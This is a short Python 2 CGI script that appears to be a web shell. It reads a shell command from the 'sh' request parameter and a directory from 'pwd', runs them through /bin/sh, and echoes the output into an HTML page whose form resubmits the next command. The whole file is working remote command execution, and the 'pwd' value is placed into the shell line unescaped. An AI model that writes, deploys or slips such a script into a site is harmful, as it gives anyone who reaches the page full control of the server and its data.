#!/usr/bin/python
import sys
import os
import cgi
import traceback
import re
#from xml.sax.saxutils import escape as html_entity_escape
def html_entity_escape(str):
	return cgi.escape(str)

print "Content-Type: text/html"
print 

#try:
#	import xml2
#except:
#	print '<pre>'+traceback.format_exc()+'</pre>'

try:
	arguments = cgi.FieldStorage()
	args = {}
	try:
		for (key, value) in ((name, arguments[name].value) for name in arguments):
			args[key] = value
	except:
		print traceback.format_exc()
	try:
		out_sh = sh = args['sh']
	except KeyError:
		sh = ":"
		out_sh = ""
		print "No argument 'sh'!"
	try:
		cd_pwd = 'cd \''+args['pwd']+'\';'
	except KeyError:
		cd_pwd = ''
		args['pwd'] = ''
	bash_escaped_sh = sh.replace('\'', '\'"\'"\'')
	(child_stdin, child_stdout_stderr)  = os.popen4('/bin/sh -c \'ls="/usr/bin/busybox ls"; '+cd_pwd+' '+bash_escaped_sh+' ; exit\'')
	
	print """
	<form action="" method="get">
		<input type="text" name="sh" value="""+'"'+html_entity_escape(out_sh)+'"'+""" />
		<input type="hidden" name="pwd" value="""+'"'+html_entity_escape(args['pwd'])+'"'+""" />
	</form>
	<pre>
	"""
	for line in child_stdout_stderr:
		print html_entity_escape(line.rstrip())
	print """
	</pre>
	"""
except:
	print traceback.format_exc()